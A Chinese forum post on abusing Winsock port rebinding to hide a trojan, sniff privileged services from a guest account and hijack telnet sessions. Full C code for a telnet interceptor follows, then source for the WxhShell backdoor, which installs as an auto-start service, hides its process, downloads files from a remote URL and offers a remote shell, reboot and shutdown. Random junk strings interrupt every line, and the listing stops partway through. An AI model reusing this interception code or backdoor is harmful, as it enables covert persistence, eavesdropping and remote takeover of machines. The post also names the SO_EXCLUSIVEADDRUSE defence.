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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d'J))-*#UO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  jmz, 1[  
,@8>=rT  
  saddr.sin_family = AF_INET; 5,k&^CK}  
Ay/ "2pDZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %#Fd0L  
Y<I/y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t :sKvJ  
hBO I:4u[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &K|<7Efx  
oe# :EfT  
  这意味着什么?意味着可以进行如下的攻击: 8 }nA8J  
}r9f}yX9Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3;@t {rIin  
6(VCQ{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 77.5 _  
FX4](oM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RV.*_FG  
A{Jv`K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qJKD| =_  
hT#[[md"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `fj(xrI  
iO(9#rV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7?dB&m6W  
dq[j.Nmq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;XRLp:y  
/)e&4.6  
  #include x?VX,9;j  
  #include &S]\)&Yt  
  #include -6aGcPq  
  #include    5a&[NN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   25o + ?Y<  
  int main() ^D ;X  
  { o'?Y0Wt  
  WORD wVersionRequested; 7_?:R2]n  
  DWORD ret; HFB2ep7N  
  WSADATA wsaData;  ZOi8)Y~  
  BOOL val; |JtdCP{  
  SOCKADDR_IN saddr; FU E/uh  
  SOCKADDR_IN scaddr; OXK?R\ E+  
  int err; ubjuuha"  
  SOCKET s; ~ucOQVmz@  
  SOCKET sc; ?TLMoqmXM{  
  int caddsize; dyC: Mko=  
  HANDLE mt; EL;IrtU  
  DWORD tid;   w$u=_  
  wVersionRequested = MAKEWORD( 2, 2 ); dc|"34;^"  
  err = WSAStartup( wVersionRequested, &wsaData ); T4F}MVK  
  if ( err != 0 ) { { %vX/Ek  
  printf("error!WSAStartup failed!\n"); ;lB%N t<,  
  return -1; t:9}~%~  
  } g~S>_~WL  
  saddr.sin_family = AF_INET; Eo!1 WRruF  
   a]Bm0gdrO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9N:Bu'j&/  
u I}S9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m>yk4@a  
  saddr.sin_port = htons(23); y4tM0h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G!C2[:[g  
  { :MV]OLRM  
  printf("error!socket failed!\n"); W7c(] tg.  
  return -1; hCD0Zel  
  } hHm &u^xY  
  val = TRUE; {Nuwz|Ci  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 By]XD~gcP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kOmTji7  
  { [-x~Q[  
  printf("error!setsockopt failed!\n"); @kenv3[Lc  
  return -1; a]>gDDF  
  } 7<<pP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;O}%_ef@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bjmUU6VLT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ia=wf"JS)  
V<$g^Vb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bc}U &X<  
  { vRpMZ)e  
  ret=GetLastError(); vQ#$.*Cvn  
  printf("error!bind failed!\n"); G|Yw a=  
  return -1; tx;MH5s/V  
  } i/2OE&*O[  
  listen(s,2); (`5No:?v<  
  while(1) tKjPLi71  
  { |FHeT*"  
  caddsize = sizeof(scaddr); "CapP`:  
  //接受连接请求 fIu5d6;'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +ByxhSIr  
  if(sc!=INVALID_SOCKET) r :{2}nE  
  { ClCb.Ozj4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dQVV0)z  
  if(mt==NULL) <*3{Twa1T  
  { ;nyV)+t+a  
  printf("Thread Creat Failed!\n"); d kHcG&)  
  break; 0?qXDO&~  
  } 16_HO%v->  
  } v`A^6)U#M  
  CloseHandle(mt); o7i/~JkTP  
  } OB)Vk  
  closesocket(s); S7N3L."  
  WSACleanup(); ,%w_E[2  
  return 0; @Ck6s  
  }   wj!p6D;;S  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8  k9(iS  
  { nyWA(%N1  
  SOCKET ss = (SOCKET)lpParam; %6j|/|#]  
  SOCKET sc; \$}xt`6p  
  unsigned char buf[4096]; OD-CU8X9  
  SOCKADDR_IN saddr; B q+RFo  
  long num; iJv4%|9  
  DWORD val; b#(SDNo6  
  DWORD ret; >*(4evU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UK*+EEv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ir|Q2$W2^c  
  saddr.sin_family = AF_INET; .^>[@w3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dd>|1'-]  
  saddr.sin_port = htons(23); 0AP wk }  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L MC-1  
  { Dq/[ g,(  
  printf("error!socket failed!\n"); zNofI$U  
  return -1; wv>Pn0cO  
  } AR\>P  
  val = 100; JP)/ O!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;n$j?n+|  
  { X+)68  
  ret = GetLastError(); jhjGDF  
  return -1; I~\j%zD  
  } bAms-cXm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -%*>z'|{  
  { 8+{WH/}y8  
  ret = GetLastError(); }`&#{>]2  
  return -1; U>7"BpC  
  } {>tgNW>)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h@=H7oV7k  
  { 1dh_"/  
  printf("error!socket connect failed!\n"); d|k6#f-E  
  closesocket(sc); xRpL\4cs  
  closesocket(ss); 'uBXSP#  
  return -1; ny%-u &1k  
  } z)xGZ*{=  
  while(1) H$au02dpU  
  { e;~[PYeu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b)J(0,9`G"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kD dY i7g>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . \M@oF  
  num = recv(ss,buf,4096,0); 7D\#1h  
  if(num>0) Rcs7 'q5  
  send(sc,buf,num,0); Izm8 qt=m  
  else if(num==0) y?GRxoCD"e  
  break; REDh`Wd  
  num = recv(sc,buf,4096,0); Ay;=1g)8+f  
  if(num>0) p)vyZY[  
  send(ss,buf,num,0); dFD0l?0N  
  else if(num==0) !^cQPX2<  
  break; ]^$&Ejpe#  
  } &1YAPxX  
  closesocket(ss); A]`63@-.  
  closesocket(sc); lTW5> %  
  return 0 ; >e :&kp  
  } |B<+Y<)f^  
\2 &)b  
{c`kC]9  
========================================================== u:& gp  
Yf&x]<rkCp  
下边附上一个代码,,WXhSHELL ,+<NP}Yg#G  
2#~5[PtP^  
========================================================== z #c)Q  
x!fvSoHp  
#include "stdafx.h" Kyw Dp37^  
Ug*:o d  
#include <stdio.h> Os' 7h  
#include <string.h> P9; =O$s  
#include <windows.h> GV#"2{t j  
#include <winsock2.h> EpSVHD:*  
#include <winsvc.h> +Rn]6}5m\  
#include <urlmon.h> ' Z:FGSwT  
fQRGz\r*k  
#pragma comment (lib, "Ws2_32.lib") XSC._)ztEE  
#pragma comment (lib, "urlmon.lib") o#gb+[  
'qwFVP  
#define MAX_USER   100 // 最大客户端连接数 ]u  4  
#define BUF_SOCK   200 // sock buffer [R*UPa  
#define KEY_BUFF   255 // 输入 buffer GqBZWmAB  
j:B?0~=  
#define REBOOT     0   // 重启 #]<j.Fc`  
#define SHUTDOWN   1   // 关机 /{ Lo0  
uoR_/vol8  
#define DEF_PORT   5000 // 监听端口 &l2oyQEF)  
}md[hiJ  
#define REG_LEN     16   // 注册表键长度 \E1[ /  
#define SVC_LEN     80   // NT服务名长度 7y.$'<  
ce!0Ws+  
// 从dll定义API -:b0fKn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H(9%SP@[c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GhpVi<FL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T<Y^V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' _Ij9{M  
ukb2[mb*u  
// wxhshell配置信息  +LeZjA[  
struct WSCFG { Cfqgu;m  
  int ws_port;         // 监听端口 XcB!9AIO  
  char ws_passstr[REG_LEN]; // 口令 PB00\&6H  
  int ws_autoins;       // 安装标记, 1=yes 0=no #8iRWm0*6  
  char ws_regname[REG_LEN]; // 注册表键名 "4"gHs  
  char ws_svcname[REG_LEN]; // 服务名 d?^bCf+<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {eA0I\c(C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b!Pz~faXD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nylrF"'e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mlc0XDS%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rl90uF]8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tQE=c 7/M  
6=A   
}; _]:wltPv  
U;p"x^U`  
// default Wxhshell configuration xR `4<  
struct WSCFG wscfg={DEF_PORT, ^[6eo8Ck>  
    "xuhuanlingzhe", b$\3Y'":  
    1, 3* C9;Q}  
    "Wxhshell", |pxM8g1w  
    "Wxhshell", L]I ;{Y  
            "WxhShell Service", r(-`b8ZE  
    "Wrsky Windows CmdShell Service", 0m k-o  
    "Please Input Your Password: ", ?4v&TB@  
  1, Jk=E"I6  
  "http://www.wrsky.com/wxhshell.exe", :E'uV" j%  
  "Wxhshell.exe" ]FV,}EZ  
    }; k)j, ~JH  
^x(BZolkm  
// 消息定义模块 E-jL"H*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V("@z<b|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gFlUMfKh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QII-9 RxX"  
char *msg_ws_ext="\n\rExit."; O2./?Ye  
char *msg_ws_end="\n\rQuit."; A3D"b9<D  
char *msg_ws_boot="\n\rReboot..."; UkK`5p<D7  
char *msg_ws_poff="\n\rShutdown..."; >__t 2  
char *msg_ws_down="\n\rSave to "; uj#bK 7  
7`-fN|  
char *msg_ws_err="\n\rErr!";  l%XuYYQ  
char *msg_ws_ok="\n\rOK!"; 5Y77g[AX2-  
{`~uBz+dJq  
char ExeFile[MAX_PATH]; W&>ONo6ki  
int nUser = 0; x9S~ns+r  
HANDLE handles[MAX_USER]; s/#L?[YH  
int OsIsNt; Zn{,j0;  
&`"Q*N2{  
SERVICE_STATUS       serviceStatus; iV<4#aBg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1_$y bftS  
 _0^f  
// 函数声明 %%`Q5I  
int Install(void); /J{ e _a  
int Uninstall(void); zIc%>?w  
int DownloadFile(char *sURL, SOCKET wsh); #+dF3]X(&  
int Boot(int flag); AmYqrmJ  
void HideProc(void); A/ppr.  
int GetOsVer(void); RMJq9a  
int Wxhshell(SOCKET wsl); 0 _ 4p>v:  
void TalkWithClient(void *cs); u.W}{-+kp  
int CmdShell(SOCKET sock); d +0(H   
int StartFromService(void); _Q&O#f  
int StartWxhshell(LPSTR lpCmdLine); T^FeahA7;  
 peW4J<,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >a;0<Ui&Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;Z:zL^rvn  
M.B0)  
// 数据结构和表定义 '?7?"v  
SERVICE_TABLE_ENTRY DispatchTable[] = Qb "\j  
{ 'Pk1 4`/  
{wscfg.ws_svcname, NTServiceMain}, F?"#1j e  
{NULL, NULL} |VC|@ Q  
}; fePt[U)2  
U Px7u%Do  
// 自我安装 =e\E{K'f@  
int Install(void) &oi*]:<FNe  
{ !<`}m E!:  
  char svExeFile[MAX_PATH]; l6o?(!:!%  
  HKEY key; ['1JN UX  
  strcpy(svExeFile,ExeFile); _19x`J3  
j;%RV)e  
// 如果是win9x系统,修改注册表设为自启动 ;&="aD  
if(!OsIsNt) { }t.J;(ff:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Cy">Exl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Uf[x[  
  RegCloseKey(key); ZWJ%t'kF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `*?8<Vm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp5w}8g  
  RegCloseKey(key); +%Y`>1I^#  
  return 0; }<G"w 5.<  
    } 2@!Ou$W  
  } U9N1 )3/u  
} p\xi5z  
else { h$\+r<  
IC5[:UZ5]  
// 如果是NT以上系统,安装为系统服务 9hoTxWpmy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?[Gj?D.Wc  
if (schSCManager!=0) ruqx #]-  
{ Um4$. BKD  
  SC_HANDLE schService = CreateService  -w7g}  
  ( `bXP )$  
  schSCManager, ,UOAGu<_gb  
  wscfg.ws_svcname, sT&O%(  
  wscfg.ws_svcdisp, UC@ &! kM  
  SERVICE_ALL_ACCESS, x[%z \  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aX`@WXK  
  SERVICE_AUTO_START, fMg3  
  SERVICE_ERROR_NORMAL, sqKLz  
  svExeFile, h5@v:4Jjo~  
  NULL, R.ZC|bPiD  
  NULL, y~ubH{O#  
  NULL, -v]v m3Na  
  NULL, ds> V|}f[  
  NULL p~X=<JM  
  ); ChVur{jR  
  if (schService!=0) 1rhEk|pGZ  
  { funHznRR  
  CloseServiceHandle(schService); ]{2Eo  
  CloseServiceHandle(schSCManager); gW0{s[}T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZH o#2{F  
  strcat(svExeFile,wscfg.ws_svcname); q ERdQ~M,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QY$Z,#V)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l;u_4`1H  
  RegCloseKey(key); MqA%hlq  
  return 0; |ji={  
    } ?U}Ml]0~  
  } bKAR}JM&  
  CloseServiceHandle(schSCManager); 6x6xv:\  
} KDt@Xi 6||  
} 6LVJ*sjSy  
a?^xEye  
return 1; CuS"Wj  
} A4C4xts]N  
FrPpRe%!  
// 自我卸载 l~cT]Ep  
int Uninstall(void) %Fb4   
{ kaKV{;UM  
  HKEY key; [ij8h,[~]  
.JkcCEe{G  
if(!OsIsNt) { D7'P^*4_B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *ud"?{)Z  
  RegDeleteValue(key,wscfg.ws_regname); 0zscOE{  
  RegCloseKey(key); jg,oGtRz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Vq]AQx  
  RegDeleteValue(key,wscfg.ws_regname); V={`k$p  
  RegCloseKey(key); Er 4P  
  return 0; @|7Ma/8v  
  } -Odk'{nW  
} gWqO5C~h  
} fF~3"!1#\I  
else { ;'\#+GZ9p  
J}c`\4gD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X?B9Z8  
if (schSCManager!=0) NZj_7j|o9  
{ ^:c:~F6J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'yrU_k,h  
  if (schService!=0) jsXj9:X I  
  { MV+S.`R  
  if(DeleteService(schService)!=0) { l}#z#L2,`  
  CloseServiceHandle(schService); Hcts^zm2u  
  CloseServiceHandle(schSCManager); +N~?_5lv\s  
  return 0; &HS6}  
  } 3n\eCdV-b<  
  CloseServiceHandle(schService); e3|@H'~k  
  } W0++q=F  
  CloseServiceHandle(schSCManager); AX {~A:B  
} %`o3YR  
} k1EAmA l  
"CS {fyJ  
return 1; M*& tVG   
} S6J7^'h  
yUZ;keQ_Tw  
// 从指定url下载文件 9/La _ :K  
int DownloadFile(char *sURL, SOCKET wsh) 7<'4WHi;@s  
{ 5>o<! 0g  
  HRESULT hr; 2E@ !  
char seps[]= "/"; upD 2vtU  
char *token; ;k<n}shD  
char *file; >9h@Dj[|!  
char myURL[MAX_PATH]; 8SG*7[T7  
char myFILE[MAX_PATH];  3,7SGt r  
aN87^[  
strcpy(myURL,sURL); K1vm [Ne  
  token=strtok(myURL,seps); \P3[_kbf1  
  while(token!=NULL) _~^JRC[q  
  { |.]:#)^X?  
    file=token; d"7l<y5  
  token=strtok(NULL,seps); evbqBb21b  
  } W?*]' 0  
%B;e 7 UJ  
GetCurrentDirectory(MAX_PATH,myFILE); [c{/0*  
strcat(myFILE, "\\"); }s0?RH  
strcat(myFILE, file); %*>ee[^L ,  
  send(wsh,myFILE,strlen(myFILE),0); \~3g*V  
send(wsh,"...",3,0); jz\LI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yNw YP%"y  
  if(hr==S_OK) K):MT[/"  
return 0; W6b5elH@  
else ]3+xJz~=  
return 1; j'z}m+_?  
ciq'fy  
} G=[ =[o\  
i2PPVT  
// 系统电源模块 D~KEjz!bQ  
int Boot(int flag) GsYi/Z   
{ 7y4!K$c$  
  HANDLE hToken; m{U+aqAQK  
  TOKEN_PRIVILEGES tkp; JWu^7}@~=  
^>g7Kg"0  
  if(OsIsNt) { |{KZ<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,ZVC@P,L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -I#]#i@gX  
    tkp.PrivilegeCount = 1; i[gq8%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sj)$o94=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o6FSSKM  
if(flag==REBOOT) { l'_P]@*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lyx \s;  
  return 0; FfDe&/,/  
} *AO^oBeY  
else { sCX 8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S{ v [65  
  return 0; ;ew3^i.du  
} C+iIvRYC  
  } :RJ=f  
  else { 5`$.GV  
if(flag==REBOOT) { 8P wobln  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +1K9R\  
  return 0; $"+ahS<?tC  
} '?q \mi  
else { $1Lm=2;U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  i7qG5U  
  return 0; O23dtH  
} e}Y|' bG  
} vm3B>ACJ  
%fS__Tb#u  
return 1; /$'R!d5r  
} ebbC`eFD  
c,$ >u,4  
// win9x进程隐藏模块 B( ]=I@L=W  
void HideProc(void) RCFocOOn  
{ xMk0Xf'_  
63ig!-9F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kIHfLwh9N  
  if ( hKernel != NULL ) B&l5yI b  
  { L'1p]Z"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rKlu+/G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xt! DS0|*Y  
    FreeLibrary(hKernel); <2cl1Fb  
  } &cty&(2p  
-t92!O   
return; AE:IXP|c  
} g~5$X{  
hOI| #(-  
// 获取操作系统版本 &E@8 z&  
int GetOsVer(void) ]fN\LY6p  
{ 5jj<sj!S  
  OSVERSIONINFO winfo; dtK[H+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pi>,>-Z  
  GetVersionEx(&winfo); t)Iu\bP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  V~V_+  
  return 1; p'lL2 n$E  
  else  !,rp|  
  return 0; ,_K /e  
} K{]!hm,[3  
"3kIQsD|j  
// 客户端句柄模块 U5uO|\+)  
int Wxhshell(SOCKET wsl) Mlr\#BO"9  
{ B~/:["zTh&  
  SOCKET wsh; @M[t|  
  struct sockaddr_in client; (Rqn)<<2  
  DWORD myID; CzP?J36W^  
3` ov?T(H  
  while(nUser<MAX_USER) jhd&\z-  
{ $^ \8-k "  
  int nSize=sizeof(client); mnK SO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8IErLu}  
  if(wsh==INVALID_SOCKET) return 1; b?6-lYE>L  
_7j-y 9V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d!+8  
if(handles[nUser]==0) [P5+}@t  
  closesocket(wsh); 3I87|5V,Z  
else N5>ioJj  
  nUser++; by 'P}  
  } 9oOr-9t3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _*d8:|qw  
o!q3+Pp;}  
  return 0; D4e*Wwk  
} U)Cv_qe  
i%jti6z$Hr  
// 关闭 socket _K(w &Kr  
void CloseIt(SOCKET wsh) 7Y`/w$  
{ [LDV*79Z  
closesocket(wsh); *]<M%q!<6  
nUser--; muMb pF  
ExitThread(0); ZWZRG-:&H  
} 5Jo><P a  
/U |@sw4  
// 客户端请求句柄 cG)i:  
void TalkWithClient(void *cs) I9xQ1WJc`  
{ 'CE3 |x\%K  
EbEQ@6t  
  SOCKET wsh=(SOCKET)cs; ,{"%-U#z  
  char pwd[SVC_LEN]; )bJS*#  
  char cmd[KEY_BUFF]; vbH?[ Zr?  
char chr[1]; $a'n{EP  
int i,j; ^gP pmb<x  
a[ Pyxx_K  
  while (nUser < MAX_USER) { E-P;3lS~  
.M3]\I u  
if(wscfg.ws_passstr) { n< npJ*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I[mlQmwsL.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }m!L2iK4qk  
  //ZeroMemory(pwd,KEY_BUFF); 3v~804kWB  
      i=0; JmHEYPt0  
  while(i<SVC_LEN) { (/x%zmY;/U  
nE$8-*BZ_  
  // 设置超时 HYd&.*41rE  
  fd_set FdRead; 6Fp}U  
  struct timeval TimeOut; A~MAaw!YE  
  FD_ZERO(&FdRead); |y,%dFNLf  
  FD_SET(wsh,&FdRead); >=G-^z:  
  TimeOut.tv_sec=8; mB.ybrig  
  TimeOut.tv_usec=0; IM""s]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P ?- #d\qi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L>4!@L5)  
VB*`"4e@b<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (XF"ckma  
  pwd=chr[0]; >ZAb9=/M)F  
  if(chr[0]==0xd || chr[0]==0xa) { 3em&7QM  
  pwd=0; )Sz2D[@n  
  break; ${(c `X  
  } k!9LJ%Xh  
  i++; AoL2Wrk]\B  
    } *>m,7} L  
TR@*tfS  
  // 如果是非法用户,关闭 socket ;ps 0wswX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6N7^`ghTf  
} Ie12d@  
dvPK5+0W?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2n/cq K   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3aD\J_  
0l.\KF  
while(1) { '/2u^&W  
2)_Zz~P^f  
  ZeroMemory(cmd,KEY_BUFF); IP#w  
BZ2frG\0&I  
      // 自动支持客户端 telnet标准   0rnne L  
  j=0; Z/ Vb_  
  while(j<KEY_BUFF) { Me*woCos'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oP[R?zN  
  cmd[j]=chr[0]; Y~FN` =O  
  if(chr[0]==0xa || chr[0]==0xd) { Bo)N<S_=^  
  cmd[j]=0; %E1_)^ ^  
  break; \FE  
  } ;nzzt~aCC  
  j++; PWavq?SR  
    } s{QS2G$5  
&OK[n1M  
  // 下载文件  1rnbUE  
  if(strstr(cmd,"http://")) { w$E8R[J~P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9E@}@ZV(  
  if(DownloadFile(cmd,wsh)) /w5~ O:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EbG`q!C  
  else G@Jl4iHug"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [I XX#^F  
  } hv]}b'M$  
  else { orT%lHwjL  
wD*z >v$  
    switch(cmd[0]) { !(%^Tg=  
  nnw5 !q_  
  // 帮助 pn5A6 #  
  case '?': { "Uk "  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )/32sz]~  
    break; dfU z{  
  } =_\+6\_  
  // 安装 G7|CwzMg  
  case 'i': { W zKaLyM  
    if(Install()) ,PmQ}1kGW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `W& :*  
    else k&<cFZU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n]K`ofjl^  
    break; \A~r~  
    } 0$saDmED  
  // 卸载 fo$5WTY  
  case 'r': { 58vq5j<V  
    if(Uninstall()) 4u!<3-3Zy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <@+>A$~0  
    else }3^b1D>2O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KG2ij~v  
    break; GnCO{"n  
    } ])v,zp"u  
  // 显示 wxhshell 所在路径 Y6&B%t<bo  
  case 'p': { zi7>!#(  
    char svExeFile[MAX_PATH]; ,JL Y oE+  
    strcpy(svExeFile,"\n\r"); E#5$O2b#  
      strcat(svExeFile,ExeFile); Rt%3\?rf  
        send(wsh,svExeFile,strlen(svExeFile),0); U]8 @  
    break; Ao2m"ym  
    } 49e~/YY  
  // 重启 _0razNk  
  case 'b': { o%~PWA*Qp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (toN? ?r  
    if(Boot(REBOOT)) Ke 5fe#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;q  
    else { Y{Yp N  
    closesocket(wsh); vX9B^W||x  
    ExitThread(0); #]g9O?0$  
    } &efwfnG<  
    break; | e&v;48  
    } =Wgz\uGJ  
  // 关机 31FQ=(K  
  case 'd': { .q!U@}k.  
